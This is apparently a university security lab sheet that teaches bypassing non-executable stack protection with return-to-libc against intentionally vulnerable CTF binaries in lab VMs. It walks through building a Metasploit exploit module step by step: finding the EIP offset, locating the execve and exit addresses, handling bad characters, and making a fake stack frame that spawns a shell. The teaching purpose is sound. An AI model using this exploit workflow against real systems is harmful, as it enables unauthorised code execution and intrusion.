--- title: "Linux bypassing NX bit with return-to-libc" author: ["Z. Cliffe Schreuders", "Thomas Shaw"] license: "CC BY-SA 4.0" description: "Learn to bypass Non-Executable (NX) stack protection using return-to-libc attacks. Develop exploits that redirect program execution to functions within the Standard C Library (libc) without executing external code on the stack." overview: | In this lab, you will develop your knowledge of memory protections and exploit techniques. The focus is on bypassing the Non-Executable (NX) stack protection, which aims to prevent attackers from running malicious code on the stack. You'll explore the theoretical concept of NX stack protection, understand how it is implemented in Linux, and learn about return-to-libc attacks, a clever exploit technique that allows you to redirect a program's execution to functions within the Standard C Library (libc) without executing any external code. Throughout this lab, you will learn how to bypass NX stack protection and write return-to-libc exploits. You will find the offset for the Instruction Pointer (EIP), identify the memory addresses of essential functions like execve() and exit() within libc, and construct a fake stack frame to trigger a shell using these functions. As practical tasks, you will write a Metasploit exploit module, analyze memory addresses, and run your exploit to successfully gain control over a vulnerable program. The CTF challenges are similar to those from the last topic, however the vulnerable software has been compiled with stack protections and non-executable stack, which you will learn to circumvent. tags: ["nx-bypass", "return-to-libc", "buffer-overflow", "exploit-development", "metasploit"] categories: ["software_security_exploitation"] lab_sheet_url: "https://docs.google.com/document/d/1eUOb1cR-D8qv0NmlGXYUN1JYwmgrwOBNtfsDVdxnPpw/edit?usp=sharing" type: ["ctf-lab", "lab-sheet"] difficulty: "advanced" cybok: - ka: "SS" topic: "Categories of Vulnerabilities" keywords: ["memory management vulnerabilities", "Stack smashing buffer overflows"] - ka: "SS" topic: "Mitigating Exploitation" keywords: ["NON-EXECUTABLE MEMORY"] - ka: "MAT" topic: "Attacks and exploitation" keywords: ["EXPLOITATION", "EXPLOITATION FRAMEWORKS", "Exploit development", "Metasploit Framework development", "Mitigation bypass: non-executable memory"] --- ## Introduction to NX {#intro-nx} This lab introduces you to the non-executable stack. A countermeasure designed to make life more difficult for attackers, as they can no longer supply executable code directly to the stack. The first half of the lab is a demonstration which involves writing an exploit for a statically compiled binary without stack protections. This should be familiar as it follows the same workflow as last week’s lab. The exploit that you create is then run against challenge 1, a binary compiled without an executable stack. An exploit technique to bypass this countermeasure, return-to-libc, is then introduced. You will write a return-to-libc exploit against the first challenge. The second and third challenges are similar variants on the same program for you to complete. You can follow the same approach as in the lab to gain some more practice and earn some flags\! ## A recap from week 6 {#a-recap-from-week-6} Last lab we wrote metasploit exploits for a few different programs which contained buffer overflow vulnerabilities. In all of these cases, we exploited the buffer overflow and then caused the program to spawn a shell. The first program **only executed code that was contained within the binary**. The program had a handy `get_shell()` function, which contained a call to `system("/bin/sh")`. Our exploit for this one involved overflowing the buffer, finding the offset, then overwriting the Instruction Pointer (IP) with the memory location for the first instruction within the `get_shell()` function. Unfortunately, the second program did include the `get_shell()` function. Without an obvious target function, our approach needed to change. Instead of using instructions that existed within the binary, we **executed shellcode which we placed on the stack.** ## Memory Protections: Non-executable stack {#memory-protections-non-executable-stack} A solution to make life difficult for attackers is to restrict the areas of memory that can be executed by the CPU as instructions.. As attacker-supplied shellcode typically lands on the stack, a good solution is to set all data stored on the stack as Non-Executable (**NX**). A commonly applied mitigation strategy is known as **W ^ X**. The **^** character represents exclusive or (XOR), so every region in process memory should be writable (X)OR Executable, but not both. This approach was first introduced in OpenBSD 3.3 in May 2003 as W ^ X. Windows added it in XP service pack 2 as Data Execution Protection (**DEP**). The same functionality exists in linux, and stack space is marked by the kernel as non-executable by default. The programs from last week had to explicitly disable these protections at compile-time using the gcc parameter “-z execstack”. This week’s challenges have the NX stack protection enabled, so we will need to take a different approach. ## Bypassing the NX stack {#bypassing-the-nx-stack} Non-executable memory has been around for a long time, and so have the exploit techniques for bypassing it which are still widely used today. A very clever work-around for exploiting binaries that have buffer overflow vulnerabilities and a non-executable stack was discovered by Solar Designer (the owner of Openwall and the mind behind tools like John the Ripper) in 1997 and posted to the [bugtraq mailing list](https://seclists.org/bugtraq/1997/Aug/63). The technique, known as **return-to-libc**, completely avoids executing user-supplied code on the stack by redirecting the program to run instructions that are included within the Standard C Library (libc). The exploits that you create for this week’s challenges will require you to do the same. ## Identifying stack protections {#identifying-stack-protections} When a binary is compiled with gcc there are artefacts left in the binary that can be inspected to find out which stack protections were enabled. For demonstration purposes we have included the source code for the first challenge this week, it contains no randomisation and can be ==action: compiled with:== ```bash gcc -g -m32 -z execstack -fno-stack-protector -z norelro -fno-pie -no-pie -Wl,--section-start=.text=0x64574b7a -mpreferred-stack-boundary=2 -o ~/vuln ~/challenges/Ch_nx_BOF_1/program.c ``` ==action: Use readelf to print out the program headers:== ```bash readelf -W -l --program-headers ~/vuln ``` ![][image-3] ==action: Run the same command against the binary for the first challenge.== ```bash readelf -W -l --program-headers ~/challenges/Ch_nx_BOF_1/Ch_nx_BOF_1 ``` Look at the GNU\_STACK header’s flags column. The binary we compiled has RWE but the challenge has RW. The missing E flag confirms that the stack for Ch\_nx\_BOF\_1 is **non-executable.** ## Exploiting with an NX stack: Finding the offset {#exploiting-with-an-nx-stack-finding-the-offset} First, as with previous buffer overflow exploits, we need to overflow the buffer and find the offset for EIP. ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Note the IP address of your Desktop VM==. ==action: Change the first challenges directory and test that you can pipe input into the program's stdin:== ```bash cd ~/challenges/Ch_nx_BOF_1 ``` ```bash ruby -e "puts 'A' * 15" | ./Ch_nx_BOF_1 ``` Great \- piping “A”’ characters to the program from our inline ruby code worked, and as a bonus it caused a segfault. ![][image-4] Now that we have confirmed that we can overflow the buffer, we need to find the offset for the instruction pointer. ==action: Make a debuggable copy of our program and serve it over the network:== ```bash cp ~/challenges/Ch_nx_BOF_1/Ch_nx_BOF_1 ~/. ``` ```bash cd ~ ``` ```bash ncat -kl -p 3333 -e ./Ch_nx_BOF_1 ``` ==VM: On the Kali Linux VM:== Last lab we used the very handy get\_pattern() function in our metasploit module to calculate the offset. ==action: Create your metasploit script==. ==action: Create a Metasploit exploit module, and save it as **nx\_bof1.rb** in **/root/.msf4/modules/exploits/linux/misc/**:== > Hint: to make the directory path, you can run `mkdir -p /root/.msf4/modules/exploits/linux/misc/` Here is an template script that you can base your exploit on: ```ruby require 'msf/core' class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'nx_bof1', 'Description' => 'Shell via ret2libc', 'Author' => [ 'Your name'], 'Version' => '$Revision: 1 $', 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ [ 'Automatic Target', { } ],], 'Payload' => {'BadChars' => "\x00\x0a\x0d\x20" }, 'DefaultTarget' => 0, 'License' => GPL_LICENSE )) register_options( [ Opt::RPORT(3333) ]) end def exploit puts "A TCP based Metasploit module" connect banner = sock.get_once.to_s.strip print_status "Banner: #{banner}" puts "\n\nAttach your debugger on the desktop now, then press enter" gets puts "Continuing!" # Step 1: Find the offset bad = pattern_create(500) #[offset:Offset-Value] # Step 2: Confirm we have the correct offset # Paste Step 2 template code here (found later in the labsheet) # Step 3: return-to-libc # Paste Step 3 template code here (found later in the labsheet) sock.put bad + "\n\n" buf = sock.timed_read(500) sock.put "id\n" buf = sock.timed_read(500) puts "received #{buf}" buf = sock.get_once(10) sock.put payload.encoded handler disconnect end end ``` This example has included the `pattern_offset()` call for you. ==action: Run the exploit directly from the command line:== ```bash msfconsole -x 'use exploit/linux/misc/nx_bof1; set RHOST ==edit:Desktop-IP-address==; set LHOST ==edit:Kali-IP-address==; exploit' ``` > Tip: After the exploit has run you can run the same version again by running (msf) `exploit` or press `Ctrl-D` to exit msfconsole and then run the above command to run an updated version of your exploit. When prompted to attach your debugger... ==VM: On your Desktop Debian Linux VM== ==action: Start debugging the program:== ```bash edb --attach `pgrep -n Ch_nx_BOF_1` ``` edb automatically pauses execution when attaching to a process. Resume execution by pressing the ‘play’ button. ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Hit enter to resume your exploit==. ==VM: On your Desktop Debian Linux VM (victim service)== The exploit should have caused an Illegal Access Fault (a segfault). The error message will provide an address you can use to calculate the offset to the controlled ==edit:EIP-value==. ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Calculate the offset using metasploit's pattern\_offset.rb script:== ```bash /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q ==edit:EIP-value== -l 500 ``` Note this down as the ==edit:Offset-Value== Update your script. Comment out the code under “Step 1” and add the following code under Step 2\. For now we are just storing the string “BBBB”, or 0x42424242 in the EIP. ```ruby offset = "==edit:Offset-Value==" padding = "A" * offset eip = "BBBB" bad = padding + eip ``` ## return-to-libc {#return-to-libc} Now we control the instruction pointer, we need somewhere other than the non-executable stack to redirect flow to. Looking back to challenge one of last week’s lab, the program included a convenient function for us to redirect execution to. The `get_shell()` function in that program simply called `system("/bin/sh")` to spawn a shell. As this code was already included in the binary, we would still be able to run our exploit against that program even if it was compiled with a non-executable stack. This is because the memory location of the code included in the binary would be flagged as executable as it is legitimate code. ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Investigate which shared libraries that the challenge binary is linked to:== ```bash cd ~/challenges/Ch_nx_BOF_1/ ``` ```bash ldd Ch_nx_BOF_1 ``` ![][image-5] Our program makes use of the standard c library. Make note of the path and memory location that libc is being loaded at. Last week made use of the `system()` function which is contained within the c standard library. ==action: Look into how system() works in the manual:== ```bash man 3 system ``` ![][image-6] We can see that `system()` uses `fork(2)` to create a child process, which then executes the command passed to it. This can make it trickier to debug our exploit, as we have to interact with a second process. Additionally, we can see that `system()` is just a wrapper for the `execl()` function. ==action: Look into how execl() works in the manual:== ```bash man 3 execl ``` ![][image-7] The man page suggests that `execl()`, too, is a wrapper for *another* function `execve()`\! ==action: Look into how this execve() works in the manual:== ```bash man 2 execve ``` ![][image-8] Note the highlighted text section in the screenshot above. The program currently being called will be replaced with the new program that is initialised with `execve()`, rather than forking and running it on a new subprocess. This will make debugging easier as we don’t have to follow a forked child process. We can leverage this function to run system commands on the system within the same process we are exploiting\! ## Investigating `execve()` {#investigating-execve} The man page above shows that `execve` takes 3 parameters, the command to run, a pointer to an argument vector (i.e. parameters passed to the command we run), and a pointer to the environment variables. As we just want to execute `/bin/sh`, we don’t need to be concerned about the `argv` or `envp` parameters for our exploit, as. In c, the function call we are going to try mimic would look like this: ```c execve("/bin/sh", 0, 0); ``` For our exploit, we need to set the stack up in a way that replicates a legitimate function call exactly like the one above. It would be useful to have an example write a basic dummy program that we can debug to inspect how the stack frame gets set up. We can then use this as something to aim at replicating with our exploit code. ==action: Paste the following code into a new file in your home directory called execve.c:== ```c #include #include void main() { execve("/bin/sh",0,0); } ``` The compiler options a program is compiled with can make dramatic changes to the assembly code, even when using the same exact .c file. In order to keep things as similar as possible to the binaries used in this challenge, compile your program with the following gcc command: ```bash gcc -g -m32 -fno-stack-protector -z norelro -fno-pie -no-pie -Wl,--section-start=.text=0x64574b7a -mpreferred-stack-boundary=2 -o ~/execve ~/execve.c ``` ==action: Run the program==. Once you have confirmed that you have an interactive shell, drop back to your main shell with `Ctrl-D`. Next we should get an example of the way that the stack is set up when execve is called using a debugger: ```bash cd ~ ``` ```bash gdb -q ./execve ``` ```bash (gdb) break execve ``` ```bash (gdb) r ``` Now that we’ve hit our breakpoint just before the execve function is called, we can take a look at how the stack is set up to get our working example: ==action: Examine the contents at the top of the stack. Use gdb to print the next 20 hexadecimal words (4 bytes in 32-bit programs) using the stack pointer==. ```bash (gdb) x/20wx $esp ``` ![][image-9] ## Revisiting stack frames {#revisiting-stack-frames} As we have frozen at the start of the function, we can see how the stack was set up in memory when called with the 3 parameters as `execve("/bin/sh",0,0)`. The **first value** on the stack frame is: the function’s **return address** This is the next instruction to be run after the function completes. ==action: Confirm this is the case within your debugger by examining the memory address:== ```bash (gdb) x ==edit:0x6457ca3== ``` ![][image-10] ==action: Disassemble the main function== to confirm that this instruction is one **after** the `call 0xaddress ` instruction. For the sake of our exploit, this address doesn’t matter because once our shell runs it won’t return until we tell it to. In order to make the program exit elegantly after we close our shell, we can replace this with the memory location of the `exit()` function, which we will find later. The **second value** on the stack frame: is the first function parameter. This is the memory location for the string `"/bin/sh"`. ==action: Confirm this in your debugger by examining the memory location as a string:== ```bash (gdb) x/s ==edit:0x645750008== ``` ![][image-11] The **third value** on the stack frame is: is the second function parameter The second parameter was the integer 0, which is represented by the hex value 0x00000000 The **fourth value** on the stack frame is: is the third function parameter. Which is the same as above 0x0000000 The rest of the stack can be ignored for now. To summarise: - Once `execve("/bin/sh",0,0)` has been called, EIP points to the first instruction in the `execve()` function. - The stack frame is configured with the following 4 parameters: - return address - memory location of `"/bin/sh"` - 0x000000 - 0x000000 ## Building a fake stack frame for a libc function call {#building-a-fake-stack-frame-for-a-libc-function-call} Now that we have a working example, we can update our exploit script to mirror the stack layout. ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Update your exploit by commenting out the Step 2 code and including the following code segment at Step 3==. ```ruby # Set up a ‘fake’ stack frame that mimics a call to execve("/bin/sh",0,0) offset = "==edit:Offset-Value==" eip = "BBBB" #execve = [0x00000000].pack('V') # mem addr of execve() # eip = execve # ret_exit = [0x00000000].pack('V') # return address i.e. mem addr of exit() function # bin_sh = [0x00000000].pack('V') # mem addr of "/bin/sh" string # zero = [0x00000000].pack('V') # mem addr that contains 0x00000000 function bad = "A" * offset + eip + "C" * 30 # + ret_exit + bin_sh + zero + zero ``` The above code contains templates for the address of the `execve` function which we are overwriting EIP with, and all of the values that we need to find in order to construct our stack frame. We will take an incremental approach to setting up memory therefore, other than the EIP, the other stack values are commented out for now. A string of 30 “C” characters is appended to the end of our exploit script for visibility in gdb. ## Finding the addresses of `execve()` and `exit()` {#finding-the-addresses-of-execve-and-exit} ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Run your updated exploit script and when prompted to attach your debugger, switch to your Desktop VM==. ==VM: On your Desktop Debian Linux VM (victim service)== This time we are going to attach gdb to the process as it provides some useful functions for quickly inspecting memory. ```bash gdb program -p `pgrep -n Ch_nx_BOF_1` ``` Whilst we have execution frozen, we can find the memory address for the execve and exit functions: ```bash (gdb) p execve ``` ```bash (gdb) p exit ``` Make note of these two addresses as ==edit:Execve-Address== and ==edit:Exit-Address== before continuing execution... ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Update your Kali script's execve and ret\_exit 0x00000000 placeholders with the actual addresses==. ```ruby offset = "==edit:Offset-Value==" # eip = "BBBB" execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve() eip = execve ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function # bin_sh = [0x00000000].pack('V') # mem addr of "/bin/sh" string # zero = [0x00000000].pack('V') # mem addr that contains 0x00000000 function bad = "A" * offset + eip + ret_exit + "C" * 30 #+ bin_sh + zero + zero ``` > Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')` ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Continue execution in gdb== ```bash (gdb) c ``` ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Hit enter== ==VM: On your Desktop Debian Linux VM (victim service)== We got a segfault error as our EIP tried to run code at 0x42424242 (or "BBBB"). ==action: Inspect the stack:== ```bash (gdb) x/20wx $esp ``` We have overwritten the rest of the stack with 0x42 (“C”) characters as expected. Great. Now that we have updated our exploit script above to store the address of the `execve` function in eip, and found the return address for the exit function, we should try to run it. ==VM: On the Kali Linux VM (attacker/exploit development)== Run your updated exploit script and when prompted to attach your debugger, switch to your Desktop VM. ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Attach the debugger then set a breakpoint to freeze execution at execve()==. ```bash gdb program -p `pgrep -n Ch_nx_BOF_1` ``` ```bash (gdb) b execve ``` ```bash (gdb) c ``` ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Hit enter== ==VM: On your Desktop Debian Linux VM (victim service)== Great, we hit the breakpoint\! The exploit caused the program to return to libc’s `execve` function. ==action: Inspect the stack:== ```bash (gdb) x/20wx $esp ``` Inspect the memory address on the stack to confirm that it is the address of the first instruction within the `exit` function, or disassemble the `exit` function \+ manually compare the addresses. One parameter down three to go..\! ## Finding the address of `"/bin/sh"` {#finding-the-address-of-bin-sh} There are a few places that we can look for the string `"/bin/sh"` within memory. One instance used historically in return-to-libc exploits can be found within libc itself. Earlier in the lab we looked in the manual page for the system function and saw that it was actually just a wrapper for another function execl(). ![][image-12] The system function passes a hard-coded `"/bin/sh"` to `execl()` as the first parameter, so it must be in libc somewhere... Let’s search libc to see if we can find the string we are looking for. ==action: Use the strings program to output all (-a) readable strings== found within the `/lib32/libc.so.6` library and print the offset from the start of libc at the start of the line in hex (-t x). ```bash strings -a -t x /lib32/libc.so.6 ``` Woah, that's a lot of output. ==action: Let's use grep to filter the output for lines which contain the exact string we're after:== ```bash strings -a -t x /lib32/libc.so.6 | grep "/bin/sh" ``` ![][image-13] Note the offset down as ==edit:BinShOffset==. The string **`"/bin/sh"`** can be found at the **offset** ==edit:BinShOffset== within **/lib32/libc.so.6**. In order to find the memory address that this string can be found within our program, we will need to first find out the **address libc is loaded into memory**, then we can calculate the location the `"/bin/sh"` can be found by **adding our offset**. ==action: Run the program in gdb and inspect the process mapped address space at runtime to find the address that libc is loaded at:== ```bash gdb -q ./Ch_nx_BOF_1 ``` ```bash (gdb) break main ``` ```bash (gdb) r ``` ```bash (gdb) info proc map ``` The **/lib32/libc-2.28.so** library is loaded into **virtual process memory** at the memory address ==edit:Libc-Start-Address== ==action: Use GDB to calculate the address of `"/bin/sh"` in memory:== ```bash (gdb) x/s ==edit:Libc-Start-Address== + ==edit:BinSh-Offset== ``` If you have the correct start address \+ offset, you should see the string `"/bin/sh"` with its precise memory address. Note down the memory address as ==edit:BinSh-Address==. Close the debugging session. ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Update your script:== ```ruby offset = "==edit:Offset-Value==" # eip = "BBBB" execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve() eip = execve ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function bin_sh = ["==edit:BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string # zero = [0x00000000].pack('V') # mem addr that contains 0x00000000 function bad = "A" * offset + eip + ret_exit + bin_sh + "C" * 30 #+ zero + zero ``` > Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')` ==action: Save your script file, reload metasploit, then run the exploit==. ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Attach the debugger then set a breakpoint to freeze execution at execve()==. ```bash gdb program -p `pgrep -n Ch_nx_BOF_1` ``` ```bash (gdb) b execve ``` ```bash (gdb) c ``` ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Hit enter== ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Inspect the stack:== ```bash (gdb) x/20wx $esp ``` **![][image-14]** Strange… the memory address was not loaded correctly. And all of our C’s are gone. The 2nd value on the stack after our exploit contains the value 0x000000aa, where we wanted it to contain 0xf7f50aaa. It looks like the last byte is correct, but the rest has not loaded. As we are packing our memory addresses in little endian, the bytes are read in from right to left. First 0xaa, then 0x0a, etc. The 0x0a byte is a good example of a **bad character** contained within a memory address that we want to use. It represents the newline character in C strings, and will cause the gets() function to terminate, leaving the rest of our exploit string unreachable. As the memory address of the instance of `"/bin/sh"` in libc is unusable, we will need a different approach. Next week we will investigate more sophisticated ways of getting around this, including chaining small segments of code together to manipulate memory to our advantage. For now, let’s search the binary itself for the string `"/bin/sh"` that was printed out by the program as a hint. We could use the find function ==action: Disassemble main and look for the parameter pushed to the stack before the printf statement:== ```bash (gdb) disassemble main ``` ```bash (gdb) x/s 0x645750a4 ``` ![][image-15] We can offset the memory address to find the memory location of the first “/” character. Calculate the number of characters in the string preceding `"/bin/sh"`: **![][image-16]** A great feature in gdb is the ability to do arithmetic different base number systems, so we can add our decimal number directly to a hex memory address without having to manually convert it first. ==action: Add decimal 11 to the hex value in gdb==. ```bash (gdb) x/s 0x645750a4 + 11 ``` Great. Note down the address of this string as ==edit:New-BinSh-Address==. ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Update your script with the ==edit:New-BinSh-Address== :== ```ruby offset = "==edit:Offset-Value==" # eip = "BBBB" execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve() eip = execve ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function bin_sh = ["==edit:New-BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string # zero = [0x00000000].pack('V') # mem addr that contains 0x00000000 function bad = "A" * offset + eip + ret_exit + bin_sh + "C" * 30 #+ zero + zero ``` > Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')` ==action: Save your script file, reload metasploit, then run the exploit==. ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Attach the debugger then set a breakpoint to freeze execution at execve()==. ```bash gdb program -p `pgrep -n Ch_nx_BOF_1` ``` ```bash (gdb) b execve ``` ```bash (gdb) c ``` ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Hit enter== ==VM: On your Desktop Debian Linux VM (victim service)== ==action: Inspect the stack:== ```bash (gdb) x/20wx $esp ``` Woohoo\! Our memory address is there and so are the C’s. Bad characters that cause the function reading our exploit string to terminate part way through are tricky. The most common character is 0x0 (or “\\0”), the null terminator. The final parameter of our exploit requires us to pass 0x00000000 in twice\! We’ll have to work around this somehow. Two parameters down, two to go (well, one really as it’s the same value). ## Finding an address containing 0x000000 {#finding-an-address-containing-0x000000} As we can’t pass the hex value of 0 in directly, we should look for a place in memory that contains the value 0x00000000 and use that instead. For convenience, we will search libc with gdb’s find function. Feel free to with alternatives such as edb’s search functionality: ```bash (gdb) info proc map ``` ```bash (gdb) find ==edit:Libc-Start-Addr==, ==edit:Libc-End-Addr==,0x00000000 ``` ![][image-17] That’s a long list of memory addresses containing 0x00000000, great\! Now we just need to make sure that we have one with no bad characters in. ==action: Confirm that you've got a memory address that contains 0x0000000:== ```bash (gdb) x/wx ==edit:Zero-Address== ``` ==VM: On the Kali Linux VM (attacker/exploit development)== ==action: Update your script with the ***Zero-Address***:== ```ruby offset = "==edit:Offset-Value==" # eip = "BBBB" execve = ["==edit:Execve-Address=="].pack('V') # mem addr of execve() eip = execve ret_exit = ["==edit:Exit-Address=="].pack('V') # return address i.e. mem addr of exit() function bin_sh = ["==edit:New-BinSh-Address=="].pack('V') # mem addr of "/bin/sh" string # zero = [Zero-Address].pack('V') # mem addr that contains 0x00000000 function bad = "A" * offset + eip + ret_exit + bin_sh + zero + zero ``` > Tip: Remove the "" around hex addresses: use `[0x00000000].pack('V')` rather than `["0x00000000"].pack('V')` ==action: Save your script and run the exploit==. ![][image-18] ## CTF Challenge 1 {#ctf-challenge-1} Challenge one included no randomisation for demonstration purposes. > Flag: Run the SGID version (\~/challenges/Ch\_nx\_BOF\_1/Ch\_nx\_BOF\_1) over the network with ncat and attack it with your exploit, then read the flag. ## CTF Challenges 2 and 3 {#ctf-challenges-2-and-3} > Flag: The second and third challenges follow the same approach as above. > Tip: The binaries have some slight randomness, so the data you need to find will have different offset’s and memory addresses. ## Conclusion {#conclusion} At this point you have: * Learned about non-executable regions of memory * Written a return-to-libc exploit, which avoided running any code on the stack, which involved: * Finding the offset for EIP * Investigated libc and found that the library contains some useful functions that can be run to spawn a shell * Located the memory address of one such function (execve()) * Built a fake stack frame, first including the return address (in this case we used exit()) * Located ound data that we wanted to supply as parameters to our function. * Exploited the binary and successfully spawned a shell, without supplying an external shellcode. Well done\! [image-1]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-1.png [image-2]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-2.png [image-3]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-3.png [image-4]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-4.png [image-5]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-5.png [image-6]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-6.png [image-7]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-7.png [image-8]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-8.png [image-9]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-9.png [image-10]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-10.png [image-11]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-11.png [image-12]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-12.png [image-13]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-13.png [image-14]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-14.png [image-15]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-15.png [image-16]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-16.png [image-17]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-17.png [image-18]: {{ site.baseurl }}/assets/images/software_security_exploitation/6_linux_nx_bypass/image-18.png